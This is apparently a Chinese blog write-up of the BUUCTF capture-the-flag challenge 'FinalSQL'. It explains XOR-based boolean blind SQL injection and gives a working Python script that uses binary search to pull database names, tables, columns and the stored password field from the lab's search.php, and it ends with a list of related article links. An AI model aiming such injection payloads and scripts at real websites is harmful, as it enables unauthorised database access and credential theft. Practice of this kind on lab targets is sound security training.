[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
kpli903 小时前
OceanBase数据库SQL调优
数据库·sql·oceanbase
Koma-forever3 小时前
Oracle SQL Developer设置打开表的时候如何是新窗口中打开
数据库·sql·oracle
jenchoi4135 小时前
【2025-11-03】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
Z_renascence5 小时前
web214-web220
web安全·网络安全
我命由我123456 小时前
Photoshop - Photoshop 工具栏(20)混合器画笔工具
经验分享·笔记·学习·ui·职场和发展·职场发展·photoshop
hu1j7 小时前
[HTB] 靶机学习(十二)Eureka
学习·安全·web安全·网络安全·云原生·eureka
奇点 ♡8 小时前
MySQL基础题
数据库·sql·mysql
weixin_438694398 小时前
pnpm 安装依赖后 仍然启动报的问题
开发语言·前端·javascript·经验分享
啊吧怪不啊吧8 小时前
SQL之表的时间类内置函数详解
大数据·服务器·数据库·sql
虎子_layor9 小时前
PostgreSQL这么多优势,为什么还要使用MySQL
后端·sql